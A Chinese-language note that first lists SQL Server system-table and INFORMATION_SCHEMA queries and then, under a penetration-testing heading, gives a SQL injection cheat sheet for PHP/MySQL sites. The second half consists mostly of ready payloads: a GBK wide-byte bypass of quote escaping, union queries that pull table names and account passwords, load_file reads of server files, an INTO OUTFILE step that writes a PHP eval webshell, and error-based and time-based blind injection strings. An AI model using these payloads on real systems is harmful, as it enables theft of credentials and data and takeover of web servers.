查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试

在SQL中可以通过查询Master下的系统表（sys）和系统视图（information_schema）获取数据库的信息。SQL2000和SQL2005的结构略有不同。

     系统表结构参考系统表详细说明。

     系统信息结构图参考：http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html

1、2000下操作：

系统表目录：大部分以dbo.sys为前缀。

系统视图目录：有20个常用的视图，以INFORMATION_SCHEMA为前缀。

在2000中我们可以用这两种方式的查询来得到相同的效果。

如：查询所有数据库：

select name from master..sysdatabases

select  catalog_name   from   INFORMATION_SCHEMA.SCHEMATA

效果一样。

查询用户创建的所有数据库

select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')

或者

       select dbid, name AS DB_NAME from master..sysdatabases  where sid <> 0x01

       或者

       select name from master..sysdatabases order by name asc

 

       获取当前数据库中的所有用户表：

select Name from sysobjects where xtype='u' and status>=0

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'

获取某一个表的所有字段

select name from syscolumns where id=object_id('表名')

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'

查看与某一个表相关的视图、存储过程、函数

select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'

查看当前数据库中所有存储过程

select name as 存储过程名称 from sysobjects where xtype='P'

查询某一个表的字段和数据类型

select name,xtye from syscolumns where id=object_id('表名')

SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'

2、2005下操作：

系统表目录：2000中的系统表，在05中都放在了系统视图目录下。

系统视图目录：存放了系统表和视图，增加了许多新的系统表，如支持xml。以sys.为前缀。

 在2005中，系统表仍然属于Master数据库下。但是视图却被分配到了各个数据库下。因此：

select name from master..sysdatabases

select  catalog_name   from   INFORMATION_SCHEMA.SCHEMATA

上面的两种查询就会有不同的结果。

第一个查询仍然可以返回所有的数据库列表。

而第二个查询只返回当前连接的数据库的信息。

除此之外的其他针对具体数据库的操作，跟2000一样。

     由于结构不同，为了保证统一性，我们在对整个服务器操作时，最好使用系统表。而在对某一个具体的数据库操作时，则既可以使用系统表也可以使用信息结构图。

 

以下是简单的渗透测试

magic_quotes_gpc = On           addslashes()过滤，对 ' " \ null 转义  即在前面加上反斜线 

PS: intval()         用于过滤数字类型

register_globals = Off          关闭注册全局变量

display_errors = Off            关闭错误提示

 

 

GBK宽字节突破magic_quotes_gpc = On限制 用 % f5' 代替 ' 即 ' 变成 鮘' 而不是 \'

 

 

实践发现

假设 id 为数字型，如果sql语句为 id='$id' 即使用单引号，那提交?id=1 and 1=1 和?id=1 and 1=2 结果都是?id=1 ,即取空格前面的参数。

此时可使用?id=1' and 1=1# 和?id=1' and 1=2# 来判断以及构造SQL语句。

 

查看PHP代码有时若不替换一些字符如<，返回网页将无法查看代码。

replace(load_file(HEX),char(60),char(32))

union select 1,replace(load_file(HEX),char(60),char(32)),3

char(60)表示 <         

char(32)表示 空格

 

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

表示前后编码不一致

unhex(hex(参数))

union select 1,unhex(hex(load_file(HEX))),3

 

@@hostname                               DATA服务器名

@@version_compile_os                     判断系统类型

@@basedir                                数据库安装目录  

@@datadir                                数据库存储目录  

@@plugin_dir                             插件目录路径

@@group_concat_max_len                   group_concat()最大长度

user()                                   当前用户

database()                               当前数据库

version()                                mysql版本

concat(字段1,0x7C,字段2,0x7C,字段N)      连接多个参数

group_concat(字段)                       列出所有行

 

 

load_file(16进制文件物理地址)            读取文件

写webshell <?php @eval_r($_POST['c']);?>       PS:windows地址用 / 或者 \\ ，单独 \ 不行。

 and 1=2 union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,3,..n into outfile '文件物理地址'

 

 

 

select user,password,update_priv,file_priv from mysql.user          mysql.user为用户全局权限

select * from mysql.db                                              mysql.db为用户数据库操作权限

 

 

 and (select count(*) from 表段)>0

 and (select count(字段) from 表段)>0

 and (select length(字段) from 表段 limit N,1)>5

 and (select ascii(mid(字段,N,1)) from 表段 limit N,1)>96

 

 

 

 and substring(@@version,1,1)=5

   

 order by n

 

 and 1=2 union select 1,2,3,4,5,6,7,8,9,n#

 

 and 1=2 union select 1,2,TABLE_SCHEMA,4,5,6,7,8,9,n from information_schema.COLUMNS group by TABLE_SCHEMA limit N,1                         查询第N个数据库名

 

 and 1=2 union select 1,2,TABLE_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 limit N,1          查表段名

 

 and 1=2 union select 1,2,COLUMN_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 and TABLE_NAME=16进制表段名 limit N,1             查字段名

 

 and 1=2 union select 1,2,字段,4,5,字段,7,8,9,n from 数据库名.表段名 limit N,1         查帐号密码

 

 

 

偏移注射

 

 order by 10                      正在查询的字段有10个

 

 and 1=2 union select *,1,2,3,4,5,6,7 from admin              表段admin有3个字段

 

 and 1=2 union select 1,2,3,4,5,6,7,8,9,id from admin         表段admin存在字段id

 

 and 1=2 union select *,1,2,3,4 from (admin as a inner join admin as b on a.id=b.id)          在5-10位置显示数据

 

 and 1=2 union select *,1 from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)               在2-10位置显示数据

 

 

 

 

 

 

MySQL错误回显套公式法注入

 

+and+1=2+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b#

 

+or+1=(select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b)#

 

注入爆数据语句

select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)

select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1

 

 

 

 

延时注入

select benchmark(5000000, md5('test')) from user where id=1 and 1=1

 

select * from user where id=1 or 1=(select benchmark(5000000, md5('test')))

 

select if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0) from user where id=1 and 1=1

 

select * from user where id=1 or if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0)